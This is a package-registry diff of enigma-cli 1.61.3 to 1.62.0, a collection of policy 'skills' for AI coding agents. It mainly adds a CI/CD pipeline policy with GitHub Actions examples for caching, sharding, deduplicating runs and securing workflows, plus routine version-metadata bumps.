enigma-cli 1.61.3 → 1.62.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/memory/AGENTS.md +2 -2
- package/assets/memory/CLAUDE.md +2 -2
- package/assets/skills/anti-overengineering-policy/skill.json +1 -1
- package/assets/skills/anti-overengineering-review/skill.json +1 -1
- package/assets/skills/backend-policy/skill.json +1 -1
- package/assets/skills/ci-policy/SKILL.md +134 -0
- package/assets/skills/ci-policy/references/github-actions.md +126 -0
- package/assets/skills/ci-policy/skill.json +9 -0
- package/assets/skills/ciphera-style-policy/skill.json +1 -1
- package/assets/skills/code-review-policy/skill.json +1 -1
- package/assets/skills/core-engineering-policy/SKILL.md +2 -0
- package/assets/skills/core-engineering-policy/skill.json +4 -4
- package/assets/skills/database-expert/skill.json +1 -1
- package/assets/skills/debugging-policy/skill.json +1 -1
- package/assets/skills/dependency-policy/skill.json +1 -1
- package/assets/skills/email-policy/skill.json +1 -1
- package/assets/skills/frontend-design/skill.json +1 -1
- package/assets/skills/frontend-policy/skill.json +1 -1
- package/assets/skills/git-policy/skill.json +1 -1
- package/assets/skills/logo-sourcing-policy/skill.json +1 -1
- package/assets/skills/security-policy/skill.json +1 -1
- package/assets/skills/skill-creator/skill.json +1 -1
- package/assets/skills/task-completion-policy/skill.json +1 -1
- package/assets/skills/technical-writing-policy/skill.json +1 -1
- package/assets/skills/testing-policy/SKILL.md +1 -0
- package/assets/skills/testing-policy/skill.json +4 -4
- package/assets/skills/validation-policy/skill.json +1 -1
- package/bin/checksums.json +4 -4
- package/dist/guardrails.js +131 -0
- package/dist/post-edit.js +132 -1
- package/package.json +1 -1
package/assets/memory/AGENTS.md
CHANGED
|
@@ -14,10 +14,10 @@
|
|
|
14
14
|
- anti-overengineering-policy: writing or refactoring implementation code, or any "be lazy"/"simplify"/over-engineering request - the YAGNI ladder and minimal-code discipline.
|
|
15
15
|
- anti-overengineering-review: on-demand "what can we delete"/audit/over-engineering review or an enigma: debt-marker ledger - lists cuts, applies nothing.
|
|
16
16
|
- backend-policy, frontend-policy, database-expert, validation-policy: server, client, persistence, and input-validation work.
|
|
17
|
-
- email-policy: sending or templating email from the server - React Email instead of hand-written HTML, plain-text alternative, link safety, and deliverability
|
|
17
|
+
- email-policy: sending or templating email from the server - React Email instead of hand-written HTML, plain-text alternative, link safety, and deliverability.
|
|
18
18
|
- security-policy: secrets, auth, permissions, crypto, untrusted/tool output, and AI-agent/MCP/tool-use safety.
|
|
19
19
|
- dependency-policy: adding/upgrading/auditing dependencies, lockfiles, and supply-chain risk.
|
|
20
|
-
- testing-policy, code-review-policy, debugging-policy, git-policy: tests and test-suite layout (structured subfolders, never a flat tests/ dump), pre-delivery review, debugging,
|
|
20
|
+
- testing-policy, code-review-policy, debugging-policy, git-policy, ci-policy: tests and test-suite layout (structured subfolders, never a flat tests/ dump), pre-delivery review, debugging, commits/PRs, and CI pipelines.
|
|
21
21
|
- technical-writing-policy: any user-facing copy - UI labels, descriptions, hints, empty/error states, panel intros, README/doc prose - concise and realistic, no over-explaining or restating the obvious.
|
|
22
22
|
- logo-sourcing-policy: adding any real brand/platform/technology logo or icon - source the official asset (never fabricate one), prefer SVG (WebP for web), keep brand colors, and check contrast.
|
|
23
23
|
- task-completion-policy: long or multi-item tasks (1:1 ports, migrations, repo-wide changes) - work-unit inventory, persistent coverage ledger, and verified completion before any "done" claim.
|
package/assets/memory/CLAUDE.md
CHANGED
|
@@ -14,10 +14,10 @@
|
|
|
14
14
|
- anti-overengineering-policy: writing or refactoring implementation code, or any "be lazy"/"simplify"/over-engineering request - the YAGNI ladder and minimal-code discipline.
|
|
15
15
|
- anti-overengineering-review: on-demand "what can we delete"/audit/over-engineering review or an enigma: debt-marker ledger - lists cuts, applies nothing.
|
|
16
16
|
- backend-policy, frontend-policy, database-expert, validation-policy: server, client, persistence, and input-validation work.
|
|
17
|
-
- email-policy: sending or templating email from the server - React Email instead of hand-written HTML, plain-text alternative, link safety, and deliverability
|
|
17
|
+
- email-policy: sending or templating email from the server - React Email instead of hand-written HTML, plain-text alternative, link safety, and deliverability.
|
|
18
18
|
- security-policy: secrets, auth, permissions, crypto, untrusted/tool output, and AI-agent/MCP/tool-use safety.
|
|
19
19
|
- dependency-policy: adding/upgrading/auditing dependencies, lockfiles, and supply-chain risk.
|
|
20
|
-
- testing-policy, code-review-policy, debugging-policy, git-policy: tests and test-suite layout (structured subfolders, never a flat tests/ dump), pre-delivery review, debugging,
|
|
20
|
+
- testing-policy, code-review-policy, debugging-policy, git-policy, ci-policy: tests and test-suite layout (structured subfolders, never a flat tests/ dump), pre-delivery review, debugging, commits/PRs, and CI pipelines.
|
|
21
21
|
- technical-writing-policy: any user-facing copy - UI labels, descriptions, hints, empty/error states, panel intros, README/doc prose - concise and realistic, no over-explaining or restating the obvious.
|
|
22
22
|
- logo-sourcing-policy: adding any real brand/platform/technology logo or icon - source the official asset (never fabricate one), prefer SVG (WebP for web), keep brand colors, and check contrast.
|
|
23
23
|
- task-completion-policy: long or multi-item tasks (1:1 ports, migrations, repo-wide changes) - work-unit inventory, persistent coverage ledger, and verified completion before any "done" claim.
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "On-demand over-engineering review - diff review, whole-repo audit, and enigma: debt-marker ledger (tags delete/stdlib/native/yagni/shrink, line/dep scoring); lists cuts, applies nothing.",
|
|
6
6
|
"updated": "2026-06-16T11:24:30+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "f742a2be3f328b9ea1ff9a35a449177c2cbec35ad16e46f7054b7a873a2ab017"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Backend/API architecture: controller-service-repository layering, modern TypeScript project configuration (module resolution, strict flags, @/* path alias), API and request optimization (batching, avoiding redundant calls, skipping no-op writes), server-side caching (Redis), and Zod boundary validation.",
|
|
6
6
|
"updated": "2026-08-02T19:59:01+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "652637f818b4ce4f4d5d83fa68fa57fe7842e32fb179523958c5496af54bb938"
|
|
9
9
|
}
|
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: ci-policy
|
|
3
|
+
description: CI/CD pipeline policy for any provider (GitHub Actions, GitLab CI, CircleCI, Buildkite, Azure Pipelines, Jenkins, Bitbucket) - cut wall-clock and runner minutes without dropping a single test or check, measure before and after, one pipeline per commit, caches keyed by a hash of their inputs and never saved from a failed build, no check run twice, sharding, change filters that cannot leave a required check pending, flakes fixed at the root instead of retried, and workflow security (pinned third-party actions, least-privilege tokens, untrusted pull-request code kept away from secrets). Use when creating, editing, debugging, speeding up, or reviewing any CI pipeline or workflow file (.github/workflows, .gitlab-ci.yml, .circleci, azure-pipelines.yml, Jenkinsfile, bitbucket-pipelines.yml, buildkite), or when a build is slow, flaky, red, or burning minutes.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# CI Policy (Pipelines & Workflows)
|
|
7
|
+
|
|
8
|
+
## Activation Scope
|
|
9
|
+
|
|
10
|
+
- Apply whenever a pipeline definition is created, edited, reviewed, or debugged, and whenever the task is "CI is slow / flaky / red / too expensive".
|
|
11
|
+
- Owns pipeline structure, triggers, caching, parallelism, change filtering, and workflow-level security. Which tests exist and how they are written stays with testing-policy; what gets installed and how it is pinned with dependency-policy; secrets and tokens with security-policy; commits and PRs with git-policy.
|
|
12
|
+
- Provider-specific mechanics live in references, read only for the provider the repository uses:
|
|
13
|
+
- GitHub Actions -> `references/github-actions.md`.
|
|
14
|
+
- Any other provider -> the concept map at the end of this file, then that provider's own docs. Never carry a GitHub syntax or limit over to another provider by assumption.
|
|
15
|
+
|
|
16
|
+
---
|
|
17
|
+
|
|
18
|
+
## Core Principle
|
|
19
|
+
|
|
20
|
+
- The pipeline exists to tell the truth about a commit. Every optimization keeps that truth intact: the same tests and checks run, on the same code, with the same pass/fail meaning. A faster pipeline that checks less is a regression, not an optimization.
|
|
21
|
+
- Optimize only what a measurement points at. CI changes are cheap to write and expensive to get wrong (a broken cache, a skipped required check, a secret exposed to a fork), so each change must name the number it is meant to move.
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 1. Measure First, Optimize the Critical Path
|
|
26
|
+
|
|
27
|
+
- Before changing anything, pull per-job and per-step timings for several recent runs from the provider's API or UI, not from one run and not from memory.
|
|
28
|
+
- The wall-clock of a pipeline is its slowest dependency chain (the critical path), not the average job. Shortening a job that is not on the critical path saves runner minutes but no waiting time; say which of the two a change targets.
|
|
29
|
+
- Separate the fixed cost of a job (provisioning, checkout, dependency install, cache restore) from its work. Many small jobs that each repeat a 60-90 second setup can be slower and costlier than fewer larger ones.
|
|
30
|
+
- After the change lands, measure the same jobs on the next real runs and report the before/after numbers. An estimate is not a result.
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## 2. One Pipeline per Commit
|
|
35
|
+
|
|
36
|
+
- A commit should trigger the full suite once. The common duplicate is a pipeline triggered both by the branch push and by the pull/merge request for the same commit; the two runs have different refs, so concurrency grouping never merges them.
|
|
37
|
+
- Choose one trigger per context: pull/merge request events for proposed changes, push for the default branch (and release branches or tags) where post-merge work actually needs it, and a manual trigger for branches that have no pull request yet.
|
|
38
|
+
- Cancel superseded runs of the same pull request or branch when a newer commit arrives. Never cancel runs on the default branch or release refs, where every commit's result matters (deploys, cache warm-up, status history).
|
|
39
|
+
- Put a timeout on every job. A hung job holding a runner for the provider's default maximum is the most expensive failure there is.
|
|
40
|
+
|
|
41
|
+
---
|
|
42
|
+
|
|
43
|
+
## 3. Caching
|
|
44
|
+
|
|
45
|
+
### Key by inputs, never by time or branch
|
|
46
|
+
|
|
47
|
+
- A cache key is a hash of everything that determines the cached content: the lockfile for a dependency cache; for a build-output cache, the sources, lockfile, patches, shared compiler config, build scripts and toolchain version - with outputs, dependency folders and generated files excluded from the hash. Any input change then misses and rebuilds, so the cache can never serve stale output.
|
|
48
|
+
- Add an OS/architecture and toolchain-version component to the key when the content depends on them (native modules, compiled artifacts).
|
|
49
|
+
- Restore-key prefixes (partial matches) are fine for dependency stores that the tool revalidates (npm/pnpm/pip/Gradle caches). They are wrong for build outputs, where a partial match means using output built from different sources.
|
|
50
|
+
- When the same key has to appear in several jobs or pipelines, define it once (a shared action, template, anchor, or include) instead of repeating the expression.
|
|
51
|
+
|
|
52
|
+
### Never save a broken cache
|
|
53
|
+
|
|
54
|
+
- Save a cache only when the step that produced it succeeded. When a job continues on error, split restore and save into separate steps and guard the save on that producing step's own success, not the job's.
|
|
55
|
+
- A cache that is written from a failed or partial build poisons every later run that restores it, and the failure then looks unrelated to the change that caused it.
|
|
56
|
+
|
|
57
|
+
### Know the scope rules
|
|
58
|
+
|
|
59
|
+
- Every provider limits which runs can read which caches (by branch, by protected status, by pipeline). Read the provider's rule before designing around it. A typical consequence: pull requests can read the default branch's cache, so if nothing ever saves on the default branch, every pull request starts cold.
|
|
60
|
+
- When pull requests start cold for that reason, add a small post-merge pipeline on the default branch whose only job is to build and save the caches pull requests restore. It must never mark a commit as failed: tools that read a commit's checks (merge gates, deploy and update gates) treat any failed check as a broken commit, so make its steps non-gating and let a cancelled run be the worst outcome.
|
|
61
|
+
- Caches written by short-lived refs (one pull request) are usable only by that ref. Keep them small, and delete them when the ref closes when the provider's storage quota is shared, so they never evict the default branch's caches.
|
|
62
|
+
|
|
63
|
+
### Check the cache actually helps
|
|
64
|
+
|
|
65
|
+
- A cache that takes longer to restore than the work it replaces is a cost. Compare restore time with rebuild time from the step timings, and drop or narrow caches that lose.
|
|
66
|
+
|
|
67
|
+
---
|
|
68
|
+
|
|
69
|
+
## 4. Do Not Run the Same Check Twice
|
|
70
|
+
|
|
71
|
+
- Map which job runs which check. If a dedicated job runs lint, type-check, or a security scan, a later build step must not repeat it - turn the duplicate off for that CI job only (an environment flag or CLI option), so local and release builds keep it.
|
|
72
|
+
- Before removing a "duplicate", confirm it really is one. A framework build sometimes checks things a standalone tool cannot see (files generated during the build, for example); keep the check that covers more, or generate those files first so the standalone check sees them too.
|
|
73
|
+
- Build once, reuse the artifact. Jobs that need the built output download it from the producing job instead of rebuilding it.
|
|
74
|
+
|
|
75
|
+
---
|
|
76
|
+
|
|
77
|
+
## 5. Parallelism
|
|
78
|
+
|
|
79
|
+
- Split a slow suite into shards when it is on the critical path. Each shard runs a fixed, deterministic slice, so coverage is unchanged; let every shard finish (no fail-fast across shards) so one failure does not hide others.
|
|
80
|
+
- Balance shards by measured duration, not by file count, and check the slowest shard after the change: the pipeline is as fast as its slowest shard.
|
|
81
|
+
- When the suite produces coverage or test reports, merge the per-shard reports before any coverage gate evaluates them. A gate reading one shard's report fails or, worse, passes on partial data.
|
|
82
|
+
- Run independent jobs in parallel and declare only real dependencies between them. A dependency that exists only out of habit serializes the pipeline.
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## 6. Run Only What a Change Can Affect, Precisely
|
|
87
|
+
|
|
88
|
+
- Change filters (paths, rules:changes, and the like) may skip a pipeline only for files that provably cannot affect any test or check. Before excluding a path, grep the test suite and build for it: tests sometimes read a README, a docs file, or a fixture outside the source tree as input.
|
|
89
|
+
- Prefer narrow exclusions ("this docs folder", "markdown at this package root") over broad ones ("every *.md").
|
|
90
|
+
- A skipped pipeline must not leave a required check pending. If a check is required for merging, skip the work inside the pipeline (a job- or step-level condition that reports success) rather than skipping the whole pipeline at the trigger level, or the pull request can never merge.
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## 7. Flakes Are Bugs
|
|
95
|
+
|
|
96
|
+
- Never paper over a flaky test with automatic retries, a rerun-until-green job, or a raised timeout. A retry hides real intermittent defects (races, ordering, time zones) and doubles the cost of every genuine failure. Fix the root cause or quarantine the test with a tracked reason (testing-policy).
|
|
97
|
+
- Reproduce a flake by running the single test many times with the same seed and environment as CI, and by randomizing order. A flake that never reproduces locally usually depends on CI-specific state: parallelism, clock, locale, file system case, or available CPU.
|
|
98
|
+
- When the cause is found, sweep the suite for the same pattern and fix every instance in the same change.
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## 8. Security of the Pipeline Itself
|
|
103
|
+
|
|
104
|
+
- Pin third-party actions, orbs, templates, and container images to an immutable reference (a full commit SHA or an image digest), with the human-readable version in a comment, and let an update bot move the pin. A tag can be moved to malicious code after you reviewed it.
|
|
105
|
+
- Grant the pipeline token the least privilege it needs, set at the top of the pipeline and widened only on the job that needs more.
|
|
106
|
+
- Code from an untrusted contributor (a fork's pull request) must never run in a context that has secrets or a write token. Triggers that run with the base repository's privileges are for metadata-only work (labelling, cache cleanup, commenting) and must not check out or execute the contributor's code.
|
|
107
|
+
- Never interpolate untrusted event fields (titles, branch names, commit messages, comment bodies) directly into a shell script. Pass them through an environment variable and quote it.
|
|
108
|
+
- Secrets reach only the jobs and steps that use them, and are never echoed, written to artifacts, or stored in caches.
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## 9. Verify a Pipeline Change Before It Merges
|
|
113
|
+
|
|
114
|
+
- Lint the definition with the provider's linter or validator, and parse it as YAML, before pushing (for GitHub Actions: actionlint).
|
|
115
|
+
- Run the changed pipeline on a branch or pull request and read the result of every changed job, including the ones that are supposed to skip.
|
|
116
|
+
- After merge, confirm the side effects the change was for (the cache was saved on the default branch, the duplicate run is gone, the shard times balanced) and report the measured numbers against the baseline from step 1.
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## Provider Concept Map
|
|
121
|
+
|
|
122
|
+
The rules above are provider-neutral. The names differ:
|
|
123
|
+
|
|
124
|
+
| Concept | GitHub Actions | GitLab CI |
|
|
125
|
+
| --- | --- | --- |
|
|
126
|
+
| Pull/merge request trigger | `on: pull_request` | merge request pipelines (`workflow: rules` on `$CI_PIPELINE_SOURCE == "merge_request_event"`) |
|
|
127
|
+
| Avoid branch + MR duplicates | drop `push` for non-default branches | `workflow: rules` that skip the branch pipeline while an MR is open (`$CI_OPEN_MERGE_REQUESTS`) |
|
|
128
|
+
| Cancel superseded runs | `concurrency` + `cancel-in-progress` | `interruptible: true` + auto-cancel redundant pipelines |
|
|
129
|
+
| Input-hashed cache key | `hashFiles(...)` in `key` | `cache: key: files:` |
|
|
130
|
+
| Change filter | `paths` / `paths-ignore` | `rules: changes:` |
|
|
131
|
+
| Job timeout | `timeout-minutes` | `timeout:` |
|
|
132
|
+
| Shared definition | composite action, reusable workflow | `include:`, `extends:`, YAML anchors |
|
|
133
|
+
|
|
134
|
+
For any other provider, map each rule to its equivalent from that provider's documentation before applying it, and say so when a rule has no equivalent there.
|
|
@@ -0,0 +1,126 @@
|
|
|
1
|
+
# GitHub Actions specifics
|
|
2
|
+
|
|
3
|
+
Read with ci-policy when the repository's pipelines live in `.github/workflows`. Each section maps to the numbered rule of the same topic in SKILL.md.
|
|
4
|
+
|
|
5
|
+
## Measure
|
|
6
|
+
|
|
7
|
+
- Per-job and per-step timings of a run: `gh api repos/<owner>/<repo>/actions/runs/<run-id>/jobs`, then `jobs[].steps[].started_at` / `completed_at`. List recent runs of one workflow with `gh run list --workflow <file> --limit 20 --json databaseId,conclusion,createdAt`.
|
|
8
|
+
- Compare the same job across several runs; a single run's numbers include runner and cache noise.
|
|
9
|
+
|
|
10
|
+
## One run per commit
|
|
11
|
+
|
|
12
|
+
```yaml
|
|
13
|
+
on:
|
|
14
|
+
pull_request:
|
|
15
|
+
push:
|
|
16
|
+
branches: [main] # only where post-merge work needs it
|
|
17
|
+
workflow_dispatch: # branches without a pull request
|
|
18
|
+
|
|
19
|
+
concurrency:
|
|
20
|
+
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
|
|
21
|
+
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
- `on: push` without a `branches` filter plus `on: pull_request` runs the suite twice for every pull request commit: the push run is on `refs/heads/<branch>`, the pull request run on `refs/pull/<n>/merge`, so they never share a concurrency group.
|
|
25
|
+
- `cancel-in-progress` is limited to pull requests so default-branch runs are never cancelled.
|
|
26
|
+
- Every job gets `timeout-minutes`; the default is 360.
|
|
27
|
+
|
|
28
|
+
## Cache scope
|
|
29
|
+
|
|
30
|
+
- A run restores caches from its own ref and the default branch; a pull request run also from its base branch. It cannot restore caches from sibling or child branches.
|
|
31
|
+
- A cache saved by a pull request run is scoped to `refs/pull/<n>/merge` and only that pull request can restore it.
|
|
32
|
+
- Default quota is 10 GB per repository. Entries not accessed for 7 days are removed, and above the quota the least recently accessed go first - so pull request caches can evict the default branch's.
|
|
33
|
+
- A key's content cannot be changed once saved; a new content needs a new key.
|
|
34
|
+
|
|
35
|
+
### Warm the default branch
|
|
36
|
+
|
|
37
|
+
A non-gating workflow on `push` to the default branch that builds and saves what pull requests restore. Steps use `continue-on-error: true` so the commit never shows a failed check:
|
|
38
|
+
|
|
39
|
+
```yaml
|
|
40
|
+
- id: build
|
|
41
|
+
continue-on-error: true
|
|
42
|
+
run: npm run build
|
|
43
|
+
- if: steps.build.outcome == 'success'
|
|
44
|
+
uses: actions/cache/save@<sha> # vX.Y.Z
|
|
45
|
+
with:
|
|
46
|
+
path: packages/*/dist
|
|
47
|
+
key: ${{ steps.key.outputs.value }}
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
- `steps.<id>.outcome` is the result before `continue-on-error` is applied; `conclusion` is after it and reads `success` for a failed step. Guard saves on `outcome`.
|
|
51
|
+
- Split `actions/cache` into `actions/cache/restore` + `actions/cache/save` whenever the save must depend on a specific step.
|
|
52
|
+
|
|
53
|
+
### Build-output cache keyed by inputs
|
|
54
|
+
|
|
55
|
+
```yaml
|
|
56
|
+
- id: build-cache
|
|
57
|
+
uses: actions/cache/restore@<sha> # vX.Y.Z
|
|
58
|
+
with:
|
|
59
|
+
path: packages/*/dist
|
|
60
|
+
key: build-${{ runner.os }}-${{ hashFiles('packages/*/src/**', 'package-lock.json', 'patches/**', 'tsconfig*.json', '!**/dist/**', '!**/node_modules/**') }}
|
|
61
|
+
- if: steps.build-cache.outputs.cache-hit != 'true'
|
|
62
|
+
run: npm run build
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
- Adapt the `hashFiles` globs to the repository's real inputs; a missing input means a stale hit.
|
|
66
|
+
- Share a key used by several jobs or workflows through a local composite action (`.github/actions/<name>/action.yml`) that computes it as an output, instead of repeating the expression.
|
|
67
|
+
- Dependency stores: prefer the setup action's built-in cache (`actions/setup-node` with `cache: npm`, `setup-python` with `cache: pip`) over a hand-written one.
|
|
68
|
+
|
|
69
|
+
### Clean up pull request caches
|
|
70
|
+
|
|
71
|
+
```yaml
|
|
72
|
+
on:
|
|
73
|
+
pull_request_target:
|
|
74
|
+
types: [closed]
|
|
75
|
+
permissions:
|
|
76
|
+
actions: write
|
|
77
|
+
jobs:
|
|
78
|
+
cleanup:
|
|
79
|
+
runs-on: ubuntu-latest
|
|
80
|
+
steps:
|
|
81
|
+
- env:
|
|
82
|
+
GH_TOKEN: ${{ github.token }}
|
|
83
|
+
GH_REPO: ${{ github.repository }}
|
|
84
|
+
REF: refs/pull/${{ github.event.pull_request.number }}/merge
|
|
85
|
+
run: |
|
|
86
|
+
gh cache list --ref "$REF" --limit 100 --json id --jq '.[].id' |
|
|
87
|
+
while read -r id; do gh cache delete "$id"; done
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
- `pull_request_target` runs with the base repository's token, which is why it can delete caches for fork pull requests too. It is safe here only because it checks out and executes nothing from the pull request - keep it that way.
|
|
91
|
+
|
|
92
|
+
## Required checks and change filters
|
|
93
|
+
|
|
94
|
+
- A workflow skipped by `paths`, `paths-ignore`, `branches` or a commit message leaves its required checks "Pending", which blocks the merge.
|
|
95
|
+
- A job skipped by an `if:` condition reports "Success". For a required check, run the workflow always and skip at job level, deciding with a first job that inspects the changed files (`git diff --name-only` against the base, or a vetted, SHA-pinned path-filter action).
|
|
96
|
+
|
|
97
|
+
## Do not lint twice
|
|
98
|
+
|
|
99
|
+
- When a separate job lints, disable the framework's build-time lint only in that CI job (an env var read by the framework config), so local and release builds keep it. Check the framework version first: some versions no longer lint during build at all.
|
|
100
|
+
- Before dropping a build-time type check in favor of a standalone one, check whether the build generates types the standalone check needs (route types, codegen); generate them first or keep the build's check.
|
|
101
|
+
|
|
102
|
+
## Sharding
|
|
103
|
+
|
|
104
|
+
```yaml
|
|
105
|
+
strategy:
|
|
106
|
+
fail-fast: false
|
|
107
|
+
matrix:
|
|
108
|
+
shard: [1, 2, 3, 4]
|
|
109
|
+
steps:
|
|
110
|
+
- run: npx vitest run --shard=${{ matrix.shard }}/4
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
- Collect each shard's report as an artifact and merge them in a final job (for Vitest: `--reporter=blob` per shard, then `vitest --merge-reports`) before any coverage threshold runs.
|
|
114
|
+
|
|
115
|
+
## Security
|
|
116
|
+
|
|
117
|
+
- Pin every third-party action to a full commit SHA with the version as a comment (`uses: owner/action@<40-char-sha> # v4.2.1`), and let Dependabot (`package-ecosystem: github-actions`) or Renovate move the pins.
|
|
118
|
+
- Set `permissions:` at the top of every workflow (`contents: read` as the baseline) and widen per job.
|
|
119
|
+
- `actions/checkout` with `persist-credentials: false` unless a later step pushes.
|
|
120
|
+
- `pull_request_target` and `workflow_run` run with secrets and a write token: never check out `github.event.pull_request.head.sha` / `head.ref` or run the contributor's code there.
|
|
121
|
+
- Never put `${{ github.event.* }}` text fields (titles, bodies, branch names, commit messages) directly inside `run:`; pass them through `env:` and quote the variable.
|
|
122
|
+
|
|
123
|
+
## Verify
|
|
124
|
+
|
|
125
|
+
- `actionlint` on every changed workflow (install a pinned release and check its checksum, per dependency-policy). It also runs shellcheck over `run:` blocks when shellcheck is installed.
|
|
126
|
+
- After merge: `gh cache list --ref refs/heads/main` shows the warm-up saved; `gh run list` shows one run per commit; compare the critical-path job's duration with the baseline.
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "ci-policy",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"provider": "FJRG2007/enigma",
|
|
5
|
+
"description": "CI/CD pipelines on any provider: faster and cheaper without dropping a check - measure first, one pipeline per commit, input-hashed caches never saved from a failed build, no duplicate checks, sharding, change filters that keep required checks green, flakes fixed not retried, and workflow security.",
|
|
6
|
+
"updated": "2026-10-10T17:15:42+02:00",
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
|
+
"sha": "87e141d1fb2dff2441a157a784fa7b57a66d6382b44d2ce74f24ad4865111407"
|
|
9
|
+
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Ciphera code style conventions (formatting, naming, imports incl. namespace imports for wide module surfaces, path-alias specifiers and no file extensions, comments, code-level anti-patterns; TypeScript-first, language-agnostic).",
|
|
6
6
|
"updated": "2026-08-02T19:59:01+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "3beb0383a9cb0331ef8a579308a2517d24d57a8ba33751ad17d16d0a4f66e344"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Pre-delivery self-review gate, prioritized review dimensions, and change-quality criteria.",
|
|
6
6
|
"updated": "2026-08-19T12:37:59+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "6b8a924cc11b61d4b45b73384aeb095ce622229359b7cc2c6ce4bb0cf3015ed7"
|
|
9
9
|
}
|
|
@@ -52,6 +52,7 @@ description: Highest-authority engineering rules - priority hierarchy, modular a
|
|
|
52
52
|
- Any UI, client state, data fetching, or client caching -> frontend-policy.
|
|
53
53
|
- Any API endpoint, service, controller, or server request flow -> backend-policy.
|
|
54
54
|
- Any email sent or templated from the server (verification, password reset, receipts, alerts, digests) or any email-provider integration -> email-policy.
|
|
55
|
+
- Any CI/CD pipeline or workflow file created, edited, debugged, or sped up (.github/workflows, .gitlab-ci.yml, Jenkinsfile, and the like), or a slow, flaky, or costly build -> ci-policy.
|
|
55
56
|
- Any new or changed code that needs verification, or any test file created/moved/renamed or a test suite scaffolded/restructured -> testing-policy.
|
|
56
57
|
- Any source code written, refactored, or reviewed (formatting, naming, language idioms) -> ciphera-style-policy.
|
|
57
58
|
- Any implementation code being written or refactored, or any "be lazy"/"simplify"/over-engineering request -> anti-overengineering-policy.
|
|
@@ -104,6 +105,7 @@ This core policy owns orchestration, architecture, and the global rules. Each co
|
|
|
104
105
|
- backend-policy: API/service architecture, controller-service-repository layering, API/request optimization, server-side caching (Redis).
|
|
105
106
|
- email-policy: transactional and notification email - React Email templating instead of hand-written HTML, server-side rendering, a single send module behind the provider SDK, plain-text alternatives, idempotent background sending, link safety, and deliverability (SPF/DKIM/DMARC, bounce suppression, unsubscribe).
|
|
106
107
|
- testing-policy: test strategy, coverage gates, deterministic tests, test/regression-first discipline, and test-suite layout (structure by type and domain, mirrored source paths, file naming, fixture/helper/factory placement).
|
|
108
|
+
- ci-policy: CI/CD pipelines on any provider - faster and cheaper without dropping a check (measure first, one pipeline per commit, input-hashed caches, no duplicate checks, sharding, change filters that keep required checks green), flakes fixed not retried, and pipeline security (pinned actions, least-privilege tokens, untrusted PR code kept from secrets).
|
|
107
109
|
- code-review-policy: self-review before delivery, review dimensions, change-quality gates.
|
|
108
110
|
- debugging-policy: reproduce-isolate-fix methodology and root-cause discipline.
|
|
109
111
|
- git-policy: commits, branches, and pull request standards.
|
|
@@ -1,12 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "core-engineering-policy",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.14.0",
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Core engineering execution policy and harness orchestration (highest-authority rules), including the generalization rule that treats a named example as a class to sweep and fix.",
|
|
6
6
|
"config": [
|
|
7
7
|
"codeGraph"
|
|
8
8
|
],
|
|
9
|
-
"updated": "2026-
|
|
10
|
-
"cliVersion": "1.
|
|
11
|
-
"sha": "
|
|
9
|
+
"updated": "2026-10-10T17:15:42+02:00",
|
|
10
|
+
"cliVersion": "1.62.0",
|
|
11
|
+
"sha": "c277b1bbe9fa0849f6b8cb06d5255dd0197c9ae21a815b73bd68f5abd90e8e20"
|
|
12
12
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
"description": "Senior database architecture policy: engine selection (PostgreSQL by default, SQLite only for local-first/embedded stores), ORM selection (Prisma in TypeScript/JavaScript), query optimization, anti-duplication/normalization, scalability, and RGPD/GDPR encryption.",
|
|
6
6
|
"updated": "2026-08-04T18:33:27+02:00",
|
|
7
|
-
"cliVersion": "1.
|
|
7
|
+
"cliVersion": "1.62.0",
|
|
8
8
|
"sha": "26fddc14caf697e830448a2cc453ddc470fe83d098d50bd67b278effba63274e"
|
|
9
9
|
}
|
|
@@ -4,6 +4,6 @@
|
|
|
4
4
|
"provider": "FJRG2007/enigma",
|
|
5
5
|
